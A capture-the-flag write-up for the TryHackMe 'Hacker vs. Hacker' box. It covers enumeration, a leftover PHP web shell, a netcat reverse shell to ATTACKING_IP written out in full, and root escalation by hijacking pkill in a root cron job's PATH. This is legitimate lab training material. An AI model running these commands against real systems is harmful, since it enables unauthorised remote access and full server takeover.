TryHackMe Hacker vs. Hacker Write-up
This write-up will help you solve the Hacker vs. Hacker box on TryHackMe. You will find a box that someone hacked before. This box aims to get access to the box and get rid of the hacker. Before we start enumerating the box, run the following command to add the host to your /etc/hosts
file.
echo "<box_ip> hackervshacker.thm" >> /etc/hosts
TryHackMe Hacker vs. Hacker – Enumeration
As usual, we start by running a port scan on the host using nmap
. The sC
and sV
flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.
sudo nmap -sV -sC -p- hackervshacker.thm
You can see the output of this scan below:
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu)) |_http-favicon: Unknown favicon MD5: DD1493059959BA895A46C026C39C36EF | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: RecruitSec: Industry Leading Infosec Recruitment Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
As you can see, there are 2 open ports. Port 80 serves as an Apache web server. Port 22 serves as an SSH server. Finding vulnerabilities will be easier for the web server so let’s start by enumerating this service first.
Web Enumeration
Let’s browse http://hackervshacker.thm/ to find the following web page:

The page itself does not reveal much. It seems like a website promoting a security consultancy. However, if we dive into the raw HTML, we can find the following comment hidden in the code:
<!-- im no security expert - thats what we have a stable of nerds for - but isn't /cvs on the public website a privacy risk? -->
This comment refers to the following link http://hackervshacker.thm/cvs. On this page, you can find the following text:
Directory listing disabled
As you can see in the screenshot below, there is an option to upload your CV at the bottom of the homepage:

Let’s first start by uploading a random PDF file. Create an empty PDF file by running:
touch test.pdf
Let’s upload this file to the server using the form above. If all went correctly, you should now be able to see the following text in your browser:
Hacked! If you dont want me to upload my shell, do better at filtering!
However, this is not all there is. Inspecting the HTML code on this page reveals the following script:
<!-- seriously, dumb stuff: $target_dir = "cvs/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); if (!strpos($target_file, ".pdf")) { echo "Only PDF CVs are accepted."; } else if (file_exists($target_file)) { echo "This CV has already been uploaded!"; } else if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "Success! We will get back to you."; } else { echo "Something went wrong :|"; } -->
Since the previous hacker already hacked the server, let’s try to find the shell uploaded by the hacker. Maybe he left a web shell behind. The most obvious shell name here would be shell.php.pdf
. The server accepts a PHP file with this name since it fits within the filtering above. Browse to http://hackervshacker.thm/cvs/shell.pdf.php. To find the following text.
boom!
It seems like we found our shell! In case you did not think of checking shell.pdf.php, you could also have used ffuf
. Ffuf is a fuzzing tool used to fuzz all types of stuff. We will use ffuf to fuzz for the filename here. Run the following command to fuzz the filename:
ffuf -u http://hackervshacker.thm/cvs/FUZZ.pdf.php -w /usr/share/wordlists/Discovery/Web-Content/common.txt
The outcome can be seen below:
.hta [Status: 403, Size: 283, Words: 20, Lines: 10] .htpasswd [Status: 403, Size: 283, Words: 20, Lines: 10] .htaccess [Status: 403, Size: 283, Words: 20, Lines: 10] shell [Status: 200, Size: 18, Words: 1, Lines: 2]
Here you can see we find the shell.php.pdf
file. Next, we should find the parameter used to interact with this web shell. The most common command to check whether this shell is working is id
. So now, we will use ffuf to fuzz the parameter. Use the -fw 1
option here to filter the number of words the response should contain at least. The command should be as follows:
ffuf -u http://hackervshacker.thm/cvs/shell.pdf.php?FUZZ=id -w /usr/share/wordlists/Discovery/Web-Content/common.txt -fw 1
The outcome can be seen below:
cmd [Status: 200, Size: 72, Words: 3, Lines: 3]
TryHackMe Hacker vs. Hacker – User flag
Now that we have found a way into the server. Let’s test the web shell by browsing http://hackervshacker.thm/cvs/shell.pdf.php?cmd=id gives the following output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
We can abuse our shell to our will now. Let’s now improve our shell by uploading our web shell. Grab your shell here and tweak the attacking IP and port. In our case, we use port number 9001.
Now we have to start a web server on our local machine to download the improved shell on the box. Start a web server in the directory where you shaved your shell.php file by running:
python3 -m http.server
You also have to start a listening nc server to catch the reverse shell on your local machine. Do so by running:
nc -lvnp 9001
Now browse to http://hackervshacker.thm/cvs/shell.pdf.php?cmd=wget http://ATTACKING_IP:9001/shell.php. In your local web shell, you should now see that the box downloaded the web shell. You can now start the reverse shell by browsing http://hackervshacker.thm/cvs/shell.php. If all goes well, you should be able to see the following on your netcat listener:
Linux b2r 5.4.0-109-generic #123-Ubuntu SMP Fri Apr 8 09:10:54 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux 12:57:27 up 59 min, 0 users, load average: 0.00, 0.00, 0.02 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off
You can find the user.txt flag at /home/lachlan/user.txt. Retrieve it by running:
/home/lachlan/user.txt
TryHackMe Hacker vs. Hacker – Root flag
Now that we have access to the server, let’s elevate privileges to obtain the root.txt flag. First of all, run the following command to have a slightly better shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
It seems like we can improve our shell, however after a minute we see the message:
nope
and are back to our first shell. We try to find another way to get a root shell without having the best shell functionalities. Within the /home/lachlan directory, we can find a readable .bash_history file. Its contents can be seen below:
./cve.sh ./cve-patch.sh vi /etc/cron.d/persistence echo -e REDACTED | passwd ls -sf /dev/null /home/lachlan/.bash_history
This file contains the password of the lachlan user! Since we are logging out when using a simple shell, we elevate to the lachlan user in our already running simple shell. Do so by running:
su lachlan
Provide the password, which now shows as plaintext, and you elevate to the lachlan user. Since there is some sort of cron job running every minute, let’s explore the /etc/cron.d directory to find out if we can abuse this script to elevate privileges. Within this directory, we can find the persistence file. You can read the contents of this below:
# * * * * * root backup.sh * * * * * root /bin/sleep 1 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done * * * * * root /bin/sleep 11 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done * * * * * root /bin/sleep 21 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done * * * * * root /bin/sleep 31 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done * * * * * root /bin/sleep 41 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done * * * * * root /bin/sleep 51 && for f in `/bin/ls /dev/pts`; do /usr/bin/echo nope > /dev/pts/$f && pkill -9 -t pts/$f; done
First of all, the root user runs all these commands. Second, most of these commands start from either the /bin/ directory or the /usr/bin/ directory. However, there is no absolute path for the pkill command. Since the PATH variable of the lachlan user is:
/home/lachlan/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
we can create our pkill within the /home/lachlan/bin directory to gain precedence over the default pkill command. We will start a reverse shell using this command. Create a file: /home/lachlan/bin/pkill command with the following contents:
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKING_IP 9002 >/tmp/f
Open a new terminal on your attacking machine and run the following command to start a new listening shell.
nc -lvnp 9002
Wait a minute for you shell to pop up in your terminal. If went correctly you should now see:
/bin/sh: 0: can't access tty; job control turned off #
You can find the root.txt flag at /root/root.txt.
TryHackMe Hacker vs. Hacker – Stay logged in
Now that we have complete access to the server. Let’s stay logged in. Staying logged in is done relatively easily. Run the following command to remove the trap installed by the previous hacker.
rm /etc/cron.d/persistence
Now improve your shell by running:
python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm CTRL+Z stty raw -echo;fg ENTER ENTER
Note: The capitalized words are keyboard combinations.
Wait a minute, and you see that you will not log out. The next step would be to improve the security of the web application and change the passwords of the lachlan user.
This box was fun to root! Someone already hacked the box, and we needed to get back access to the server. Since the previous hacker left a web shell behind earlier, it gave us access to the server as well. The most important takeaway here is that you should be sure to implement proper validation when you add a file uploader to your site.